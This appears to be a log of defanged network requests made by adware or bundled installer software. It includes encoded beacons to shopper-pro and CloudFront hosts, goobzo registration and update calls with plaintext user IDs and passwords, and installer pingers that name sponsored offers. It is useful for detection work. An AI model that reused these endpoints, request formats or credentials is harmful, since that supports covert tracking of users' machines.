hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=xY8ohDYpM h6gEVzoYeGJ8xndPpeZYzTNMDcfItnUR6MDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqoEgEEv94CeHXagai3QxCFNgKkdlz1lRoVNSQ3lQpjLdBPEhRyyBD7DFByCWgHBKYypAG YHgGRxeG5e2JE3Nzo2HdAkQAtbdDfrzKQ1K pHlyrNiUJP46mrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUy2X6vNXTV2eMll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PH/YlhRdgav1g	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=2fVCHF6kf8hPNjxRBLtb46yHr51bRfAK/WD6e6SZIIGq9exvwYRubwRSl12vCJvF5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PTXoMXpqBnYfZiMvKI16LiayBfkdHFoABez8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YNYlTZYFVSl7BQeC5LF6ah0Wgrw Oa4ZOT9zLK691dBCx/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7CPnfnn4CX UbqaDgs33TNi ahcxApTUq7emB1plX 3KM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qx	54.192.47.56
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=2fVCHF6kf8hPNjxRBLtb46yHr51bRfAK/WD6e6SZIIGq9exvwYRubwRSl12vCJvF5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PTXoMXpqBnYfZiMvKI16LiayBfkdHFoABe6pljsVW0GPgTxIUcsgQ wXg4f2W/FIIe57fKBs7R9TyVbkDkM9cyX4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl8OExMbLEeIflCy6ejQnT1EjfzVJkDqJc97GtiEVqJ0PNHOtGbUts g==	54.192.47.56
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/ce1d8a9eu4WvEVgCodG2LeMSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tW188caoXin7Wjwfqp7MHxEi GVzQHau40lAwJN0gBwYgzaR8R5kiUwHziGOgUEYWqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdtefw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQ4PulZf9ZCFDTvErBHdb0Bj38Km4JMgAXQ==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/ce1d8a9eu4WvEVgCodG2LeMSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tZ7YhSsSCMsm 6AzHfghR9HM4JIvtQF427XVMSBQRUB7BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0Ni3dmD9op6YwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO8ll5JoXfz7dh8kpng0IpIJ	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hWfaA75NtHH85nz5m58wW2lBVeUjsyYp69ciWx3pcgm9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiY2Da1UJrhtidskpjA9 6EEBiJWCtklQEQKd0GEgkafn7qIsw5K9Cdia/NXxeys6V4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX1KbzqI7vizYNqIolatUkrWzLm1PonkPOhtpIKHiyqL0a2Gt2Eq/S//H/jy8G4FGJY4SiD403Los	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hWfaA75NtHH85nz5m58wW2lBVeUjsyYp69ciWx3pcgm9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiY2Da1UJrhtiTRcHKuVeTpeVdCR9NLnB0e3edDIJy/8qNY4DQB5 LV7n0SGxs2Tic95lwett3Vo9Sm86iO74s2DaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9NZXqiTUzAU33Ih1Kfu IMR1mAEZr2jgd4ITH/ICkfqy8JjKZLgwFzG/wC513n 0HRZRXx49nRJ1TcWL70UkzVrp4nRJFoUZgqmZqNAnWmvDFlFfHj2dEnXOu4xvnbO4b dZEqrqnEnHqrJOcCBCplVg8smq5m/rppX wpBXA2YnfYWeTugkIGZ XTIrvDDxtHhbCpftK4kGTllbk/LUu49qgJgciU/U2kREjVY40hPt5Jr/XkhzzZ3f3JToCsKtOYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVfh En78PF1o4yWX8hHfz7AAJy7SgRMsWbkZddSrlEwgXRnhKwsbQ8fgLtsWFlLR0rAHl6w3H159Q==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/ce1d8a9eu4WvEVgCodG2LeMSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tW188caoXin7Wjwfqp7MHxFeqRIU2Wz5FvVqYNFaQMtWTt1BChYB6OEQSIy21hLngDYDbpKgQdEF9cIpytU0y3LG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPx0fofCQUPI9Ti1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsQFKvbxhXJ8 DxJ w6ryxW8=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/ce1d8a9eu4WvEVgCodG2LeMSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tdtgpjL3X7N9nl1xOKDZuhXrGiiXWYz3Nusz9pYl4sSxjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV H4Sfvw8XWjjJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx Au2xYWUtHSsAeXrDcfXn1	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/ce1d8a9eu4WvEVgCodG2LeMSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tW188caoXin7Wjwfqp7MHxEi GVzQHau4wOxpFqMx/dg0GZUN OvxiAwLBsnpDJR9iyipIUVGaA 2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gYCeVs4X60vwTllbk/LUu49qgJgciU/U2kREjVY40hPtogV m3dpwaBWLfeo/B59z4BlKlGJcuDg	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=j7YMo/n29XPJd3Cl8WpRrtI Ab2bIMNX2S2pDyUcChQicvsFwQStENB87jgWTbK//EmjUQkbJhEL2UeWguV4D UcMgmj4Ul bTp5fe1p 748bAtKKDJkZ1xzszKF363rsyHkc2rWtYboXrQFxBbKNh3eWrSQWpmKjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV H4Sfvw8XWjjJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx Au2xYWUtHSsAeXrDcfXn1	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=j7YMo/n29XPJd3Cl8WpRrtI Ab2bIMNX2S2pDyUcChQicvsFwQStENB87jgWTbK//EmjUQkbJhEL2UeWguV4D UcMgmj4Ul bTp5fe1p 748bAtKKDJkZzpohCDelrcGKwcR6VYInl/4c5idw7jB6Y8wSL48Ufj xLoT5lWMa/PHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qx9KBlmzyr2/sc5mdJYKFpKr35aWRD3pvRURWIK/IOe5GYlL8JK0smN7Kn6M9rhxM9VDIH9UXITp6QL2F0hg1RiXtG9 /6Wq VFlFfHj2dEnXOu4xvnbO4b dZEqrqnEnHqrJOcCBCplVg8smq5m/rppX wpBXA2YnZIZGSkQhtJ1 XTIrvDDxtHhbCpftK4kGTllbk/LUu49qgJgciU/U2kREjVY40hPt5Jr/XkhzzZ0FoKnvFozdWATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdDYt3Zg/aKemMB7Kvi1 PdRfV4GNTx99pCL 3iyUFZ9oHKmQIn4hJDvJZeSaF38 3YfJKZ4NCKSCQ==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eFCD8T/coidPNjxRBLtb46yHr51bRfAKt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MdUujouRk9pPvEliAfTu1eJWIAQ8Wjpin/USt YsXz/9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0Ni3dmD9op6YwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO8ll5JoXfz7dh8kpng0IpIJ	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAZMV62Gsz5XOTeelYyjulD662ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ G1NXsmurJNW2BlRaPLwu5y8irQgleEZxgKkdlz1lRob0AS4HDB5HfWjwfqp7MHxFtxZKM/jFkcGZgDV5iy11AJfWoFwL0DiQn1LSEJlWCi6mhalNU5 3QZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQzFmYI5EK 8ZVnoY0sWBvzp/bnwo1KLijIoXsXR5B39M/L695eOYP2 95kQLhjAADPfopz0y2Q7Y	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAZMV62Gsz5XOTeelYyjulD662ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ G1NXsmurJNW2BlRaPLwu5y8irQgleEZxgKkdlz1lRob0AS4HDB5HfWjwfqp7MHxFtxZKM/jFkcIdKc8W803KkOPofYEioTNmxiezSykY/Z9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoGAnlbOF tL8E5ZW5Py1LuPaoCYHIlP1NpERI1WONIT7aIFfpt3acGgZFEYmJBlESaAZSpRiXLg4A==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aonlVHCKlbW/q1OYm6RuNmlBVeUjsyYpdN0YCsF2hGT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQ1GbFaIn8fLHscS/rum0dyUP gGlRflyueXXE4oNm6FesaKJdZjPc2 CsHVVmHwIyxiezSykY/Z9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoGAnlbOF tL8E5ZW5Py1LuPaoCYHIlP1NpERI1WONIT7aIFfpt3acGgZFEYmJBlESaAZSpRiXLg4A==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=wlkQ3WKgYpQDjreoyS/T29I Ab2bIMNXFpyt/lxOUiEicvsFwQStENB87jgWTbK//EmjUQkbJhEL2UeWguV4D UcMgmj4Ul bTp5fe1p 748bAtKKDJkZyTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvVPHbLV9CfBu9qbCRwRBKA7Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBgJ5WzhfrS/BOWVuT8tS7j2qAmByJT9TaRESNVjjSE 2iBX6bd2nBoGRRGJiQZREmgGUqUYly4OA=	54.197.238.106
hxxp://online.goobzo.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.214
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hXeqmv1IpenVj9BNm3y5B 1d8a9eu4WvsXg2Ujmg/gTMtMAqTKBPI30QpZ Jj0 vMQUKzn11DFWqS3j1P9iGnLOjtqelOAq5bHiD3ocgsXa8rJULUDCmwLTVLrY3WnjaAfnYFBLZUOG9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhO/aQqt8CJEtnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYLeE9x6iyf1TdKktapUawNelj9H9NIntDWf ofqKPWEn	54.197.238.106
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623186&SBPIDS=1&KA=1	212.143.22.214
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623186&SBPIDS=1&KA=1	212.143.22.214
hxxp://online.goobzo.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.214
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1ZEnpGuz/IQqQvvNc0/QxO1d8a9eu4WvDg7jkQr72VISZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tTNan7HLQ0t8a50u3XyigpVREcH6lvzpS5NOnjhl29VMiawHEBbFjHDiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfUpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovRrYa3YSr9L/8ARBybhVDyBjhKIPjTcuiw=	54.197.238.106
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bdf8418-b466-4ed7-9e49-f26d02b7e07d&Password=79SH6wsy&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623187&SBPIDS=1&KA=1	212.143.22.214
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bdf8418-b466-4ed7-9e49-f26d02b7e07d&Password=79SH6wsy&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623187&SBPIDS=1&KA=1	212.143.22.214
hxxp://rep.shopper-pro.com/app/ping.ashx?e=VlXRKcYhvMbMZ3T6XmWM068xDCZGPwC62YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65lapiLrTVKsnusS0 ez39KzJg0A75TMG4v BbKdUb4fSU3inFskWrXAmXG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPx0fofCQUPI9Ti1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsZrzdG0eoa2HDxJ w6ryxW8=	54.197.238.106
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1420623188&SBPIDS=1	212.143.22.214
hxxp://rep.shopper-pro.com/app/ping.ashx?e=wlkQ3WKgYpSt /KxvF2yajEiF/BdfS3E62ls PLHCLDT03ZwnpMmri4u 59fITlqtmv4OlaXDlF0H0/8fBpMfmCdwiLZyE1Pd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKj7V3xr167ha9OaRAG32pN1uUcMgmj4Ul e6MXHIbc0WyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vrCFJaRRqFgPquySuQ1vEwsvfqpUUJvug6Za8CAYbd2XSHtaKquqIZQzS4bdFaZObf28R4ggYpEA=	54.197.238.106
hxxp://dsba220j59f4d.cloudfront.net/p.ashx?e=c0XmKevqA0lpQVXlI7MmKf3eoE116PvJQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni kRlTDLtXGXYCpHZc9ZUaGWnHTR1jDHJZGcLghnE/hl7kN6o7do63aXdDw8APThW8D0 GGhAgJQxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9UpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovQKP ZDTcKvaA==	54.192.47.56
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=A3ANzFv7fWBPNjxRBLtb44DRoKLoui3g/WD6e6SZIIExLHUkaU066zsPf/PibBcq5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PR0gYZFzD/Ro9gpblKfW4NYTpaUDUZgaqez8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YM8Lp0Bjzny5jMJAB CbFgWNLVXkHqu5msQ8SvWqwsmfGywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS Yk9b 6RoE53p /A/u61jEcbQ9M/8hK0AHtznjR2TecyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUy2X6vNXTV2eMll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PH/YlhRdgav1g
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=A3ANzFv7fWBPNjxRBLtb44DRoKLoui3g/WD6e6SZIIExLHUkaU066zsPf/PibBcq5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PR0gYZFzD/Ro9gpblKfW4NYTpaUDUZgaqe6pljsVW0GPgTxIUcsgQ wxQcgloBwSmMwmitO34V/86C1h8Hfn1ha4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl8OExMbLEeIflCy6ejQnT1EjfzVJkDqJc97GtiEVqJ0PNHOtGbUts g==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=CwD9X8OFGaLMZ3T6XmWM0xIyllEwSvkGjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bLM4fFVRznoHYCpHZc9ZUaGWnHTR1jDHJZGcLghnE/hl7kN6o7do63aXdDw8APThW8D0 GGhAgJQxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9UpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovQKP ZDTcKvaA==
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=1&index_in_screen=1&index_in_session=1&0.5528655403810864
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=2&index_in_screen=1&index_in_session=2&0.7231817516841886
hxxp://sourceapp.info/mg?alpha=ADkjEnMScG9maQkwDDh8P3BhAXZeKicuM3s0fhUtVT0ORDZDBnRpGgB9PRxWWSk7TwYIS1AUQ2lLb0ZnDB9CEAQaMhMGd1cRQBIgamoMKHxCJSVDLxY8dnNzdlchTW8GaH8ZdlVFI3kdAns/FCJcLyZHDwBZFFM8X2IyTyBUegJDCG47awt1W2AzHSR9M1V9e0UhMx5pGz9gOy0lWiBlLRofK2Uq
hxxp://sourceapp.info/mg?alpha=ADkjEnNEfWUzOU5xDDh8AX1wH3MAfyFjdHRRI1gbA25iDH9dQT5gb3cPIhwgVVw7RQ50Rj8YMxpLB0tjEzEZHwZ4bj9deFARQzZrVi9y
hxxp://sourceapp.info/mg?alpha=BjIzEAkdKFISc0QKHDoGOXtxAwxYCENhf1pXEA==
hxxp://sourceapp.info/fp?alpha=DStEDx4qVyM6CAl+ayURDG8XAh4Nd1J+XyoqBRBCCj9JD1gPWkN7dg1hLAxJTDVIUmYQWVh4KAwlF1p7FXw5e2ERIQQVbClyVBwIKH8/AgFOKkdDQBozE3sbc0VETQsIfwUbGl1RTXByCmxYFExXOElbYQxVKglBEC0VUR5aPWYCDh5uV1FNQXJUGk8lOzphDB43UlkTC38ZYxt6VUAYH1pzCBofSFZEaXYGeQoLXwI6UQg2HQkoGw5MIHULV10gYUd4B3xVS0YDKw1dEiRoIh14OyEQHBYWLBFyH3tDRk8UWjlEFHwBCRAmN0x5LFwZBGMVDyBjESkEXxUqF2keTTthW2USKQ4THChyVBc6eSxDfBo6MkNDMxItFW4fe0NPPwB4fWptb1oTbnYdAWdV
hxxp://sourceapp.info/ii?alpha=DStEDx4eGiQOU000ayURDG8XAh4Nd0gnEzgYUB5bX3cOSFsYWicmNU06DXgPESsYHDdPJH4AXhEsEE0ICWA4CHZjIQQQGlphC0lGMHpdIkEPNgcPVFh5HHQcfUdOOQcNZxAQE1xKQAsFe3RQC0YiIENbFgQvIg9aZVgQVR5VODUMfiUkBBMZWWlSC1VxLCxhFE00QFhUT3tHAVwkSB8YSksmR1tOTgMRLwJNNj4ETlEjQURrD10qE10XKBdSHl8rZ3M3MCRjcA4DNBZDCyQmVThCG2gFHV4LKBVuTCIBUBJBTS9aFGYBBAYmM1A/HBkoCGMVBSVOTS0dPFNyQwZLSydnUTk/OXgDCBoiEEkSLnUiawxJKUNARR0uEGNdLgcAFFFealhISANHTmlxEWlOVgwNbB8Nb3gDfVEFUnUFS21WJ3xaPHNKQkJcCTRLHBU3JjZ3Qk13TxdUSmgceh5nREZPFFYrFRkbUlJEc3UJY1oIRVE8S11mGwluADpsakQRXRRuXnIvMmtTA34FNRZPGi07UXF/PFQ7TjZCbUpjai4DHx5XHS9GShZZQQ50cTlnbFY6Dm8=
hxxp://sourceapp.info/if?alpha=DStEDx5SDz0uX04gayURDG8XAh4Nd0gnEzgYUB5bX3cOSFsYWicmNU06DXgPESsYHDdPJH4AXhEsEE0ICWA4CHZjIQQQGlphC0lGMHpdIkEPNgcPVFh5HHQcfUdOOQcNZxAQE1xKQAsFe3RQC0YiIENbFgQvIg9aZVgQVR5dLTVsMDZ1WmpGBTMpUxctSHU4WBxvVAMEFi0HNRN5RUdIHAt7BhkcRldMe3MNb05dGgdPAwVvVAhiTQBOb0BFXF0oSk03BSQHEwZcaVsIS3E1M2cZTTZUCRdEUk4gEx4mUBJBTzNYTBY/DhotL0gqRBlJVSATAyYbAmlLCVMgaApbSiF7UD4nOWFKRggoFUlbdjtSI0MZYgEdG0RwQC8OBVVWC1dJOUFGRUhdVH9uDndfD09QLQIPIEsEeVhMUXxGCBgCbjkRaHV2RU9JAiBffxUmd2siRF8vJwAbX3tFY30/FAIYQRJsRl8WXEEaezACIE5YCVw0QUZjDV88UA0cLRVZDQh0PQliYSgMExlWcFYcHzUmVBxbHnUXQlJ9U1YiXC5VIBRATz9JRQs7RycKE3Z5LFAMCi01DyRUDn8rHGEYCTRr
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=2&index_in_screen=1&index_in_session=2&0.461148770857849
hxxp://logcollectorclick-1564780678.us-east-1.elb.amazonaws.com/dealdo/install-report?type=install&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e&cb=758164&slug=pricefountain&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&adminproc=1&defaultBrowser=1&ieVer=31302e302e393230302e3136353231&firefoxv=32392e302e312028656e2d555329&chromev=33352e302e313931362e313533&operav=&&previousver=x&firstinstall=1
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=3&index_in_screen=1&index_in_session=3&0.799579113704163
hxxp://rep.shopper-pro.com/app/ping.ashx?e=N6dOqWm8Q97B 4EkIHdGPxMjVK2p56w8eq10/GADmDD6npfW4udM4feRi8wRbTsZkmnCkuUBP1fxIejITcLjyv6vrlnR93yFOZepBrCxlI5QDt2X2jDCEvDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDoMXDwtYXLiCM6rj1sArpGYEOz PgVj0Lt7G/yXPW4uAmOrZFPj41hpR1VsvE9COl4L8jm4XJmBX6ED4cJ8XDJx/HJguNH6PJvi6UhUk8Si9pYw/SXL9kUczLWAmUEClrB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZ3jd05TL7uAUsXsbAzBWHYNP54lXZxmkqdkWCIrBlg7wHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO/lYvgsEKFKIs4/ZfIGmnkI	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69fhEjJFr58dcxMjVK2p56w8eq10/GADmDD6npfW4udM4fqFPNHe3DAVndSFVUHxaEBEKo5xU2IcROgga322f3p0fD6sFy6LlDEeU1 iuCr9NlNo13vxlHCujJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx8tGr28DRdxfBfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1ujCU5QP8h1lILUdXtKJUNuUQ39PRzSGDmHmH6HrCAM2I yVqk8iwIeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeMSM2hlEvkMAzsPf/PibBcq5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm/0nspDTOqFAcjVmlmgA9lM=	54.197.238.106
